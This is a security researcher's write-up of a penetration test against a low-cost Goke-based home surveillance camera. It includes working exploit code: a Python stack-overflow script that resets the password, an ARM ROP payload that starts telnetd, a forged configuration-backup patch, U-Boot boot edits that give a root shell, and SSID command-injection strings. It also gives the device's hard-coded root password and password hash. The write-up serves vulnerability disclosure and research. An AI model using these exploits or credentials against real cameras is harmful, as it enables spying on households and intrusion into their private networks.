IoT: Pentest of a Connected Camera
During our R&D, we performed a penetration test against a connected camera and we were able to compromise it through various paths.Description of the connected camera
During our R&D, we performed a penetration test against a connected camera.
This camera is mostly used by end users to remotely monitor their homes.
We chose this model because it fitted with our classical customer criteria for personal use:
- An HD camera with night vision;
- Not expensive: less than 100$;
- Sold by multiple DIY stores.
In this paper, we will present the result of our tests, showing several ways to remotely take control over the camera and exploit the following vulnerabilities (which include 0-days):
- 1.1. Stack based Buffer overflow against the web application;
- 1.2. Root shell through the serial port and modification of the Universal Boot Loader;
- 1.3. Remote code execution via command injection inside the SSID of the access point.
We will also highlight some of the bad practices found during our research:
- 1.4. Hard-coded credentials;
- 1.5. Clear text storage of API Keys in source code (Facebook, Dropbox, etc.);
- 1.6. Absence of transport layer security.
Unboxing & Installation
The camera was delivered in a box with a USB cable and without any SD card:
After reading the manual, we used the dedicated mobile application downloaded from the Android Play Store to configure the camera.
The network setup, which works without any direct interaction with the camera, is a little tricky behind the scenes.
The prerequisite is to dispose of a WiFi network and a mobile operating system compatible with the vendor application.
Here is the process step by step:
- When it is turned on for the first time, the camera exposes a default WiFi SSID (we will name it here « Cam-AP »);
- The mobile application, once connected to the home WiFi network (already connected by phone), collects the connection parameters;
- Then, the mobile application disconnect from the home WiFI access point, and starts looking for the SSID of the camera named « Cam-AP »;
- Once discovered, the application connects to the camera SSID and push the home WiFi configuration to the camera;
- In return, the camera connects to the home WiFi SSID, and so does the application;
- A new password is asked by the mobile application in order to update the default camera password, here we pushed « admin123 » but first discovered vulnerability, if the application is closed before setting a new password, then the default « admin » password will never be changed and camera will be configured using a weak password);
We were then able to access the camera from our phone, remotely from the Internet, so without being connected to the wireless network, and obsiouly the camera was connected to the Internet (cloud infrastructure type).
PCB (Printed Circuit Board) analysis
The camera is based on a Goke GK7102 SoC (system on a chip) that includes multiple computer components such as the CPU, memory and storage, all in one chip.
It is mostly used by HD IP Cameras, integrating an ARM processor and supporting some cryptographic engines (AES, DES, 3DES).
Moreover, it provides a UART serial interface (source).
Here is an overview of the interesting camera PCB side:
The other side brings together a CMOS sensor, a MT7601 Wi-Fi module and an audio amplifier:
Vulnerability analysis
This section presents several vulnerabilities that could lead to a total compromising of the tested camera.
Stack based Buffer Overflow on the Web application
Having done the camera installation, we connected it to our wireless network and started to scan the network. After finding the camera IP address, we began to enumerate the services it was exposing with the nmap tool:
[mickael@m ~]$ nmap 172.20.10.10 -n -Pn -p-
Nmap scan report for 172.20.10.10
PORT STATE SERVICE VERSION
80/tcp open http Mongoose httpd
554/tcp open rtsp
1935/tcp open tcpwrapped
8080/tcp open soap gSOAP 2.8
MAC Address: 08:EA:40:9C:69:92 (Shenzhen Bilian Electronicltd)
It was surprising to see that the telnet service would not be listening, as it would be the case with most cameras of this type.
We wanted to analyze the web application, but credentials were required in order to access it (HTTP Basic Authentication):
We tried admin:admin123
as set up previously during the configuration, which seemed to work. However, a blank page was returned…
We then fuzzed the web application using wfuzz tool to find some hidden directories:
[mickael@m ]$ wfuzz --sc 200,401 -w directory-list-2.3-small.txt http://172.20.10.10/FUZZ
Target: http://172.20.10.10/FUZZ
Total requests: 87652
==================================================================
ID Response Lines Word Chars Payload
==================================================================
000001: C=401 13 L 35 W 436 Ch "#"
000627: C=401 13 L 35 W 436 Ch "log"
004362: C=401 13 L 35 W 436 Ch "sd"
006322: C=200 2 L 2 W 40 Ch "iphone"
025276: C=404 1 L 7 W 35 Ch "rtdb"
A directory listing vulnerability exposed log data with quite a lot of sensitive information (authenticated access):
Interesting Directory content:
sd
: camera recordsipc_server
: a binary application, probably the web serversyslog.txt
: application logswifi.conf
: Wireless Wi-Fi configuration injected by the mobile application, including SSID and password.
HTTP Basic authentication buffer overflow
After clearing the cache and cookies in our browser, we tried to log back in the web application, but this time with large identifiers and passwords (more than 150 chars):
curl -u $(python -c "print 'a'*150"):$(python -c "print 'a'*150") http://127.0.0.1:1234
At this moment, the camera just played a « bip » sound and immediately rebooted. We tried again with another random string, and the same thing happened.
We immediately thought about a possible unhandled exception such as an overflow, so we started to reverse the ipc_server
binary that we just found in the /log
web directory. It happens to be the binary in charge of managing all the services of the camera, including the web interface where the overflow occurs.
Let’s look at the disassemble code of an interesting function in IDA Pro. The function resets the camera password to the admin
value:
First, choosing a « blind » approach, we developed a simple Python script that adds more and more null bytes as a prefix to the reset function address through a loop.
Our goal here was to overflow the target buffer just enough to have the execution flow jump into the function and reset the password to admin
. That is an easy way to confirm that the exploitation works as expected.
So, in practice, our script sends a BASIC HTTP authentication with a payload that looks like this:
# First loop:
NULLBYTE + RESET_PWD_ADDRESS
# Second loop:
(NULLBYTE * 2) + RESET_PWD_ADDRESS
# Third loop:
(NULLBYTE * 3) + RESET_PWD_ADDRESS
As a crash would occur after some of the attempts, our exploitation code should wait long enough for the camera to restart automatically. Here the script itself:
from requests import get
from struct import pack
from time import sleep
FORBIDDEN_URL = "http://172.20.10.10/log"
NULL_BYTE = "x00"
RESET_PWD_ADDRESS = pack('<I', 0x7BCF4)
def main():
is_up = 0
for i in range(139, 250):
while is_up == 0:
is_up = check_connectivity()
print "=> Camera is UP, exploiting with (%s NULL_BYTE + RESET_PWD_ADDRESS)" % i
sleep(15) #prevent sending another increase request while the camera is rebooting
do_exploit(i)
is_up = 0
def check_connectivity():
try:
r = get(FORBIDDEN_URL, auth=('admin','admin'), timeout=5)
if r.status_code == 401:
return 1
elif r.status_code == 200:
print "[*] /! Successfull exploit, connect to %s using admin:admin" % FORBIDDEN_URL
exit(0)
else:
return 0
except:
print "[*] Camera is not reachable, probably crashed and rebooting... Waiting 60 sec"
sleep(60)
return 0
def do_exploit(i):
payload = i * NULL_BYTE + RESET_PWD_ADDRESS
try:
r = get(FORBIDDEN_URL, auth=(payload,''), timeout=5)
exit(0)
except:
pass
if __name__ == '__main__':
main()
Starting with the 139th attempt, the camera started to crash and reboot.
Better yet, at the 140th attempt, we got something more interesting:
=> Camera is UP, exploiting with (130 NULL_BYTE + RESET_PWD_ADDRESS)
[*] Camera is not reachable, probably crashed and rebooting... Waiting 60 sec
=> Camera is UP, exploiting with (131 NULL_BYTE + RESET_PWD_ADDRESS)
[*] Camera is not reachable, probably crashed and rebooting... Waiting 60 sec
=> Camera is UP, exploiting with (132 NULL_BYTE + RESET_PWD_ADDRESS)
[*] Camera is not reachable, probably crashed and rebooting... Waiting 60 sec
=> Camera is UP, exploiting with (133 NULL_BYTE + RESET_PWD_ADDRESS)
[*] Camera is not reachable, probably crashed and rebooting... Waiting 60 sec
=> Camera is UP, exploiting with (134 NULL_BYTE + RESET_PWD_ADDRESS)
[*] Camera is not reachable, probably crashed and rebooting... Waiting 60 sec
=> Camera is UP, exploiting with (135 NULL_BYTE + RESET_PWD_ADDRESS)
[*] Camera is not reachable, probably crashed and rebooting... Waiting 60 sec
=> Camera is UP, exploiting with (136 NULL_BYTE + RESET_PWD_ADDRESS)
[*] Camera is not reachable, probably crashed and rebooting... Waiting 60 sec
=> Camera is UP, exploiting with (137 NULL_BYTE + RESET_PWD_ADDRESS)
[*] Camera is not reachable, probably crashed and rebooting... Waiting 60 sec
=> Camera is UP, exploiting with (138 NULL_BYTE + RESET_PWD_ADDRESS)
[*] Camera is not reachable, probably crashed and rebooting... Waiting 60 sec
=> Camera is UP, exploiting with (139 NULL_BYTE + RESET_PWD_ADDRESS)
[*] Camera is not reachable, probably crashed and rebooting... Waiting 60 sec
=> Camera is UP, exploiting with (140 NULL_BYTE + RESET_PWD_ADDRESS)
[*] Camera is not reachable, probably crashed and rebooting... Waiting 60 sec
[*] /! Successfull exploit, connect to http://172.20.10.10/log/ using admin:admin
We could successfully get the password updated from our attack!
Gaining a remote shell
After more research, we found some ways to gain a network shell by enabling the telnetd service.
First way
The NX protection was enabled, as we could check from a static analysis on the ipc_server
binary with gdb
and the peda
extension:
$ gdb ipc_server
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : disabled
Also fearing ASLR and NX protections, we chose to build a ROP exploit, which is the more efficient way to bypass such protections and exploit overflows blindly.
In order to do that, we started to look for interesting gadgets inside the ipc_server
binary. We found a system
function that could spawn commands:
So, we just updated our initial script in order to include some ARM assembly instructions to add a telnetd
string contained into the binary .text
section along with the system()
instruction address:
We also found a telnetd
string contained into the binary .text
section:
So, gluing these parts together, we came up the following ARM instructions in our exploit code, which push the telnetd
string to the stack and call system
on it:
from requests import get
FORBIDDEN_URL = "http://127.0.0.1/log"
def exploit():
rop = "xa4xbbx0bx00" # pop {r0, pc}
rop += "x9cxeax0bx00" # telnetd str addr
rop += "x98x77x02x00" # system addr
payload = 140 * "x00" + rop
try:
r = get(FORBIDDEN_URL, auth=(payload,''), timeout=2)
print r.text
exit(0)
except:
pass
if __name__ == '__main__':
exploit()
The exploit worked as expected: the telnetd
service was successfully enabled!
[mickael@m ~]$ nmap 172.20.10.10 -n -Pn -p-
Nmap scan report for 172.20.10.10
PORT STATE SERVICE
23/tcp open telnet
80/tcp open http
554/tcp open rtsp
1935/tcp open tcpwrapped
8080/tcp open soap
MAC Address: 08:EA:40:9C:69:92 (Shenzhen Bilian Electronicltd)
Second way
Inside the ipc_server
binary, we found a backup.cgi
web page that is used to back up the configuration inside a compressed archive. We extracted it and found these configuration files:
[mickael@m mnt]$ tree
.
└── mtd
└── ipc
└── conf
├── config_3thddns.ini
├── config_action.ini
├── config_alarm.ini
├── config_alarm_token.ini
├── config_com485.ini
├── config_cover.ini
├── config_custom.ini
├── config_debug.ini
├── config_devices.ini
├── config_encode.ini
├── config_image.ini
├── config_md.ini
├── config_ntp.ini
├── config_osd.ini
├── config_ptz.ini
├── config_recsnap.ini
├── config_run3g.ini
├── config_schedule.ini
├── config_sysinfo.ini
├── config_timer.ini
├── config_user.ini
├── config_videoex.ini
├── ipcam_upnp.xml
├── TZ
├── udhcpc
│ ├── default.bound
│ ├── default.deconfig
│ ├── default.leasefail
│ ├── default.renew
│ └── default.script
├── udhcps
│ └── udhcpd.conf
└── wifi.conf
Among them, an interesting config_debug.ini
file contained information about a debug mode:
[debug]
denable = "0"
dserver = "192.168.1.88 "
dport = "12990"
[telnet]
tenable = "0"
We just patched it to enable the telnetd
service and rebuild the config_file
archive, following the documentation.
We pushed the archive in a POST
request to the restore
function:
html
<form name="test" method="post" enctype="multipart/form-data" action="http://172.20.10.10/restore.cgi">
<input type="file" name="setting_file">
<input type="submit" value="restore">
</form>
However, the telnetd
service was not enabled after the camera reboot. Something was wrong… Indeed, we discovered a specific string at the end of the backup configuration:
Note the base64 encoded string. It can be decoded to the « VF » and « HX » chars. We suppose that « HX » corresponds to the camera series and « VF » means « verify »:
$ echo "ARAAAGh4VkZIWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" | base64 -d
hxVFHX
We added this « secure » chunk to our patched config_file
archive, using a simple python script:
#!/usr/bin/env python
INITIAL_FILE = "initial_config_backup.bin"
PATCHED_FILE = "final_config_backup.bin"
def main():
with open(INITIAL_FILE, "r") as f:
initial_file_content = f.read()
to_patch = initial_file_content[-262:]
with open(PATCHED_FILE, "r") as f:
patched_file_content = f.read()
patched_file_content = (patched_file_content[:-262] + to_patch)
with open(PATCHED_FILE, 'wb') as f :
f.write(patched_file_content)
if __name__ == '__main__':
main()
With the newly generated backup file archive, we successfully restored the configuration and, once again, enabled the telnet service.
Obtaining credentials
We performed a simple bruteforce attack, which revealed the 2601hx
password for both the admin
and root
users.
Moreover, we were sudoers
, with full privileges in the camera operating system:
[mickael@m ~]$ telnet 172.20.10.10
Trying 172.20.10.10...
Connected to 172.20.10.10.
Escape character is '^]'.
IPCamera login: admin
Password:
$ su
Password:
$ cat /etc/shadow
root:RdQhwfYI/a1kQ:0:0:99999:7:::
bin:*:10933:0:99999:7:::
daemon:*:10933:0:99999:7:::
adm:*:10933:0:99999:7:::
lp:*:10933:0:99999:7:::
sync:*:10933:0:99999:7:::
shutdown:*:10933:0:99999:7:::
halt:*:10933:0:99999:7:::
uucp:*:10933:0:99999:7:::
operator:*:10933:0:99999:7:::
ftp:*:10933:0:99999:7:::
nobody:*:10933:0:99999:7:::
default::10933:0:99999:7:::
admin:RdQhwfYI/a1kQ:0:0:99999:7:::
Going further with the stack overflow vulnerability
We wanted to get a better understanding of the vulnerability.
It was probably possible to exploit the stack-based buffer overflow in order to get a remote reverse shell, but surely not using a blind method as describe here.
To set up our environment, we used QEMU and an ARM raspberry image with gdb
to debug the program.
We also had to manually patch the binary program for more than twenty ARM instructions, using hexedit, in order to bypass some hardware checks and exceptions happening because we were running in a virtualized environment.
In this setup, we sent 140 'A'
chars and the BCDE
string as an HTTP Basic Authentication. As expected, the $pc
stack pointer ($eip
equivalent in ARM-x86) was successfully overwritten.
As a result, the program crashed with the following message in gdb
:
0x45444342 in ?? ()
Looking at the backtrace, we noticed the function where the crash occurs:
gdb$ backtrace
#0 0x45444342 in ?? ()
#1 0x00042ac0 in HI_INI_User_Auth ()
#2 0x00000000 in ?? ()
The inspection of the $pc
stack pointer confirmed the overwriting:
gdb$ frame 0
#0 0x45444342 in ?? ()
gdb$ i r
r0 0xffffffff 0xffffffff
r1 0xb4c12b79 0xb4c12b79
r2 0x67 0x67
r3 0x0 0x0
r4 0x41414141 0x41414141
r5 0x41414141 0x41414141
r6 0x41414141 0x41414141
r7 0x1a6634 0x1a6634
r8 0x1a6664 0x1a6664
r9 0x1a6630 0x1a6630
r10 0x1a4620 0x1a4620
r11 0x1a45b0 0x1a45b0
r12 0xe0478 0xe0478
sp 0xb4c12c60 0xb4c12c60
lr 0x42ac0 0x42ac0
pc 0x45444342 0x45444342 <<<<<<<<<<<<<<<<<<<<<<<<<
cpsr 0x60000010 0x60000010
Moreover, all our payload was written into the stack:
gdb$ x/-50x $sp
0xb4c12b98: 0x00000000 0x00000000 0x00000000 0x00000000
0xb4c12ba8: 0x00000000 0x00000000 0x00000000 0x00000000
0xb4c12bb8: 0x001a68dc 0x00104810 0x001a68dc 0x001a68d8
0xb4c12bc8: 0x001a6634 0x00042c54 0x41414141 0x41414141
0xb4c12bd8: 0x41414141 0x41414141 0x41414141 0x41414141
0xb4c12be8: 0x41414141 0x41414141 0x41414141 0x41414141
0xb4c12bf8: 0x41414141 0x41414141 0x41414141 0x41414141
0xb4c12c08: 0x41414141 0x41414141 0x41414141 0x41414141
0xb4c12c18: 0x41414141 0x41414141 0x41414141 0x41414141
0xb4c12c28: 0x41414141 0x41414141 0x41414141 0x41414141
0xb4c12c38: 0x41414141 0x41414141 0x41414141 0x41414141
0xb4c12c48: 0x41414141 0x41414141 0x41414141 0x41414141
0xb4c12c58: 0x41414141 0x45444342
After sending a lot of 'B'
chars, we found the HI_INI_HTTP_PLAIN_Auth_CALLBACK
function, pointed from the $lr
link register (used to keep the return address for function call).
So, the problem was probably before HI_INI_User_Auth
.
Using IDA Pro, we inspected cross references to HI_INI_User_Auth
and found the HI_INI_HTTP_PLAIN_Auth_CALLBACK
function:
The HI_INI_HTTP_BASIC_Auth_CALLBACK
function is used to decode the base64 HTTP realm and give it as an argument to the HI_INI_HTTP_PLAIN_Auth_CALLBACK
function:
We can see in the previous screenshot that a variable (we will name it « buffer » here) is set with 128 bytes and it is then given to the libs_base64decode
function as an argument.
This function, when provided with more more than 128 bytes, overflows the memory because of a lack of memory allocation control.
So, after setting up some software breakpoints using gdb
and python-peda
extension, we inspected calls to libs_base64decode
, and more precisely its arguments:
We entered and followed each instruction to finally visualize the issue.
Without any length control, the buffer
variable is appended more and more after each loop of base64 decoding.
To prove that, we just placed a breakpoint at the end of the base64 decoding loop (0x000254c4
) and analyzed the stack and some registers each time the breakpoint was trapped using these gdb
commands:
peda-arm > b*0x000254c4
Breakpoint 7 at 0x254c4
peda-arm > commands 7
Type commands for breakpoint(s) 7, one per line.
End with a line saying just "end".
>x/100x $sp
>x/s $r1
>x/s $r2
>x/s $r3
>continue
>end
And after several loops, we were able to see that this base64 decoding function was overwritten without controlling the buffer
variable (here 186 bytes, so more than the 128 allocated initial bytes).
Using the same previous breakpoint and another set of commands, we only printed the $r2
register (containing the decoded base64 value) during the loop.
We were able to confirm that after the 128 initial allocated bytes, this function started to overwrite other present data in the stack:
peda-arm > b *0x000254c4
Breakpoint 1 at 0x254c4
peda-arm > commands 1
Type commands for breakpoint(s) 1, one per line.
End with a line saying just "end".
>x/s $r2
>continue
end
peda-arm > start
Another view, showing the next 75 bytes on from the stack pointer, where we can again show the other data being overwritten using the following command:
peda-arm > b *0x000254c4
Breakpoint 1 at 0x254c4
peda-arm > commands 1
Type commands for breakpoint(s) 1, one per line.
End with a line saying just "end".
>x/75x $sp
>continue
end
peda-arm > start
Here the result where we can see a lot of « B » character in hexadecimal so « 42 » that are just added for each loop execution:
The buffer variable was finally given to the HI_INI_HTTP_PLAIN_Auth_CALLBACK
function which then caused the bug:
Root shell via serial port and boot edition
After opening the camera, we found four holes (described in the first PCB analysis part). In order to confirm that it was a UART serial interface, we used the multimeter (after powering on camera) to determine which hole was the GND, VCC, TX and RX:
- The VCC with 3.3 volts;
- The TX with low voltage;
- The RX with about 3 volts, varying when rebooting the camera;
- The GND, in resistance mode, which should be 0 ohm.We then used the shikra USB tool to connect the camera, by following the schema made by xipiter:
After identifying the baudrate using the
baudrate.py
python script (https://github.com/devttys0/baudrate), we used thescreen
utility (also possible usingminiterm
orminicom
) to connect to the camera through the Shikra:
Below is an extract of the boot sequence after rebooting the camera:
3
2
1
0
[PROCESS_SEPARATORS] run sfboot
[PROCESS_SEPARATORS] setenv bootargs console=${consoledev},${baudrate} noinitrd mem=${mem} rw ${rootfstype} init=linuxrc ;sf probe 0 0;sf read ${loadaddr} ${sfkernel} ${filesize}; bootm
SF: Detected W25Q256FV with page size 256 B, sector size 64 KiB, total size 32 MiB
put param to memory
mem size (41)
bsb size (2)
the kernel image is zImage or Image
entry = 0xc1000000
## Transferring control to Linux (at address c1000000)...
Starting kernel ...
machid = 3988 r2 = 0xc0000100
Uncompressing Linux... done, booting the kernel.
[ 0.000000] Booting Linux on physical CPU 0
[ 0.000000] Linux version 3.4.43-gk (root@localhost.localdomain) (gcc version 4.6.1 (crosstool-NG 1.18.0) ) #14 PREEMPT Fri Dec 9 14:49:48 CST 2016
[ 0.000000] CPU: ARMv6-compatible processor [410fb767] revision 7 (ARMv7), cr=00c5387d
Credentials are required to connect the camera (admin:2601hx
, as found earlier). Thus, we got a root shell on the camera.
However, what if we did not have these credentials beforehand?
Note the following sequence during startup:
3
2
1
0
In fact, there is a timer that allows us to stop the boot process by pressing a keyboard key:
3
2
1
0
GK7102 #
GK7102 # help
[PROCESS_SEPARATORS] help
? - alias for 'help'
base - print or set address offset
bdinfo - print Board Info structure
boot - boot default, i.e., run 'bootcmd'
bootd - boot default, i.e., run 'bootcmd'
bootelf - Boot from an ELF image in memory
bootm - boot application image from memory
bootp - boot image via network using BOOTP/TFTP protocol
bootvx - Boot vxWorks from an ELF image
bootz - boot Linux zImage image from memory
cmp - memory compare
coninfo - print console devices and information
cp - memory copy
crc32 - checksum calculation
dhcp - boot image via network using DHCP/TFTP protocol
echo - echo args to console
editenv - edit environment variable
env - environment handling commands
erase - erase FLASH memory
flinfo - print FLASH memory information
go - start application at address 'addr'
help - print command description/usage
iminfo - print header information for application image
imls - list all images found in flash
imxtract- extract a part of a multi-image
itest - return true/false on integer compare
loadb - load binary file over serial line (kermit mode)
loads - load S-Record file over serial line
loady - load binary file over serial line (ymodem mode)
loop - infinite loop on address range
md - memory display
mm - memory modify (auto-incrementing address)
mtest - simple RAM read/write test
mw - memory write (fill)
nfs - boot image via network using NFS protocol
nm - memory modify (constant address)
ping - send ICMP ECHO_REQUEST to network host
printenv- print environment variables
protect - enable or disable FLASH write protection
reset - Perform RESET of the CPU
run - run commands in an environment variable
saveenv - save environment variables to persistent storage
setenv - set environment variables
sf - SPI flash sub-system
sleep - delay execution for some time
snand - SpiNAND sub-system
source - run script from memory
tftpboot- boot image via network using TFTP protocol
version - print monitor, compiler and linker version
Then, using the printenv
command, we found the boot arguments in an environment variable named sfboot
:
GK7102 # printenv sfboot
[PROCESS_SEPARATORS] printenv sfboot
sfboot=setenv bootargs console=${consoledev},${baudrate} noinitrd mem=${mem} rw ${rootfstype} init=linuxrc ;sf probe 0 0;sf read ${loadaddr} ${sfkernel} ${filesize}; bootm
It was easy to edit the boot by changing the init
value from linuxrc
to /bin/sh
:
GK7102 # setenv sfboot 'setenv bootargs console=${consoledev},${baudrate} noinitrd mem=${mem} rw ${rootfstype} init=/bin/sh ;sf probe 0 0;sf read ${loadaddr} ${sfkernel} ${filesize}; bootm'
In order to finally boot the camera after these changes, we used the following command:
GK7102 # run sfboot
We finally got a shell after the camera finished to boot:
~ #
~ # id
uid=0(root) gid=0(root) groups=0(root),10(wheel)
~ # cat /etc/shadow
root:RdQhwfYI/a1kQ:0:0:99999:7:::
bin:*:10933:0:99999:7:::
daemon:*:10933:0:99999:7:::
adm:*:10933:0:99999:7:::
lp:*:10933:0:99999:7:::
sync:*:10933:0:99999:7:::
shutdown:*:10933:0:99999:7:::
halt:*:10933:0:99999:7:::
uucp:*:10933:0:99999:7:::
operator:*:10933:0:99999:7:::
ftp:*:10933:0:99999:7:::
nobody:*:10933:0:99999:7:::
default::10933:0:99999:7:::
admin:RdQhwfYI/a1kQ:0:0:99999:7:::
Remote code execution via command injection in access point SSID
After analyzing quickly the source code of some available scripts in the camera, we found one used to configure the wireless network.
Here an interesting excerpt:
loadwificonf()
{
. $TMP_PATH/twifi.conf
iwpriv $NETDEV set AuthMode=$WifiMode
iwpriv $NETDEV set NetworkType=Infra
iwpriv $NETDEV set EncrypType=$WifiEnc
if [ $WifiEnc != "NONE" ]
then
if [ $WifiEnc == "WEP" ]
then
iwpriv $NETDEV set DefaultKeyID=1
iwpriv $NETDEV set Key1="$WifiKey"
else
iwpriv $NETDEV set WPAPSK="$WifiKey"
fi
fi
iwpriv $NETDEV set SSID="$WifiSsid"
}
The last line is vulnerable to a code injection in the SSID variable.
To exploit this, we configured the SSID with something like:
AP"|/usr/sbin/touch /tmp/sysdream"
AP"|/sbin/telnetd"
After that, we tried to configure the camera using this Wi-Fi access point but the application forbade the use of special characters in the SSID.
In order to bypass this restriction, we decided to patch the mobile application:
- Using
apktool
(https://ibotpeaches.github.io/Apktool/), we unpacked the.apk
mobile application; - Using
dex2jar
(https://github.com/pxb1988/dex2jar), we converted the.dex
files into standard.class
files.
We then used jd-guitool
(https://github.com/java-decompiler/jd-gui), we inspected the source code to find the restriction check function:
.method public isSupportedSsid()Z
.locals 3
.prologue
const/4 v1, 0x0
.line 249
invoke-virtual {p0}, Lcom/tws/common/bean/ConnectionState;->getSsid()Ljava/lang/String;
move-result-object v2
if-nez v2, :cond_1
.line 253
:cond_0
:goto_0
return v1
.line 252
:cond_1
invoke-virtual {p0}, Lcom/tws/common/bean/ConnectionState;->getSsid()Ljava/lang/String;
move-result-object v2
invoke-virtual {p0, v2}, Lcom/tws/common/bean/ConnectionState;->getNotSupportedChar(Ljava/lang/String;)Ljava/lang/String;
move-result-object v0
.line 253
.local v0, "unSupportedChars":Ljava/lang/String;
invoke-virtual {v0}, Ljava/lang/String;->trim()Ljava/lang/String;
move-result-object v2
invoke-virtual {v2}, Ljava/lang/String;->length()I
move-result v2
if-nez v2, :cond_0
const/4 v1, 0x1
goto :goto_0
.end method
In case the application receives a SSID with special characters, it returns a false
boolean. So, we simply patched it to return every time a true
boolean.
The changes were made to this initial part:
.line 253
:cond_0
:goto_0
return v1
And the patched part was:
.line 253
:cond_0
:goto_0
const/4 v1, 0x1
return v1
We repacked the application with apktool
, signed it using jarsigner
by Oracle and launched the configuration process again from the mobile application.
This time, our injection got accepted and the camera executed the payload. We were able to enable the telnetd
service or create a simple file to confirm the vulnerability.
Hard-coded credentials
As seen previously, there was two hard-coded system credentials which were equals (reused password vulnerability). In fact the 2601hx
password valids for the admin
and root
accounts was recovered thanks to bruteforce attacks on telnetd service. Here the « /etc/shadow » file contents where we can identify the same DES (unix) hashed password:
$ cat /etc/shadow
root:RdQhwfYI/a1kQ:0:0:99999:7:::
bin:*:10933:0:99999:7:::
daemon:*:10933:0:99999:7:::
adm:*:10933:0:99999:7:::
lp:*:10933:0:99999:7:::
sync:*:10933:0:99999:7:::
shutdown:*:10933:0:99999:7:::
halt:*:10933:0:99999:7:::
uucp:*:10933:0:99999:7:::
operator:*:10933:0:99999:7:::
ftp:*:10933:0:99999:7:::
nobody:*:10933:0:99999:7:::
default::10933:0:99999:7:::
admin:RdQhwfYI/a1kQ:0:0:99999:7:::
We can also confirm the DES (unix) algorithm used to generate the 2601hx
hash using the following command where RdQhwfYI
is the password salt:
[mickael@m ]$ makepasswd -e des -s RdQhwfYI -p 2601hx
2601hx RdQhwfYI/a1kQ
API Key in clear text (Facebook, Dropbox, etc.)
After reading the installation manual, we identified multiple sensitive API keys in the source code of the Axxxxxx application.
First of all, we downloaded the application from Google Play.
Then, using a rooted android phone, we copied the apk into our test machine:
$ adb pull /data/app/com.tws.aviwatch/base.apk
Since APKs are nothing more but ZIP files, we uncompressed it.
Into the asset folder, we found a file called ShareSDK.xml
. A simple grep
returns the secret keys along with the application names.
$ egrep -i 'key|secret' -B 4 ShareSDK.xml | egrep -vi 'sortid|id'
<LinkedIn
ApiKey="ejo5ib******"
SecretKey="cC7B2jpx********"
--
<FourSquare
ClientSecret="3XHQNSMMHIFBYOLWEPONNV4DOTCDBQH0****************"
--
<Flickr
ApiKey="33d833ee6b6fca49****************"
ApiSecret="3a2c5b42********"
--
<Tumblr
OAuthConsumerKey="2QUXqO9fcgGdtGG1FcvML6ZunIQzAEL8xY****************"
SecretKey="3Rt0sPFj7u2g39mEVB3IBpOzKnM3JnTtxX****************"
--
<Dropbox
AppKey="i5vw2me********"
AppSecret="3i9xifs********"
--
<Instagram
ClientSecret="1b2e82f110264869****************"
Absence of transport layer security
After intercepting the network traffic during a connection between a phone and the camera, we discovered a lack of data encryption.
In fact, the communications (including passwords) are sent in plain text over the UDP protocol. During the initial setup, the Android application asked us to set up a new password, which is encoded in base64 before being sent:
When the mobile application was asking us a new password, it was possible to close immediately the application, so the password was unchanged ( admin
). In order to test the camera a legit user, we then reconfigured it with the admin123
password (remember this password for the reading).
[mickael@m ~]$ echo -n "YWRtaW4xMjMh" | base64 -d
admin123![mickael@m ~]$
Conclusion
This analysis allowed us to discover several vulnerabilities (mostly due to insecure development methods, a lack of system and network hardening) leading to a remote compromising of a public type connected cameras based on short-range infrastructure.
In the case where an attacker could discover then exploit these vulnerabilities, he would be able to spy users, change video streams but also access and cause damages to the internal private network of customers. Moreover, we discovered a lot of connected cameras on the Internet running the same vulnerable ipc_server application.
This is well-known issues that most IoT has been pushed to the market quickly, with much disregard of security best practices.
On top of that, the problem of the supply chain arises, with the security of third parties. How can a vendor control the security and manage incident reports when its own product is composed of hardware components, firmware and hardware libraries from a dozen editors and makers? In this very fragmented environment, it is simply impossible.
The goal of this paper was the demonstrate the risk of insecure usage of IoT that does not implement any kind of security.
I hope you enjoy reading.
Credits
- Mickael KARATEKIN <m.karatekin -at- sysdream.com>
Thanks
A big thanks to all my colleagues at Sysdream, and precisely to:
- Jean-Christophe Baptiste;
- Nicolas Chatelain;
- Pierre Yves Maes;
- Gaël Tulger.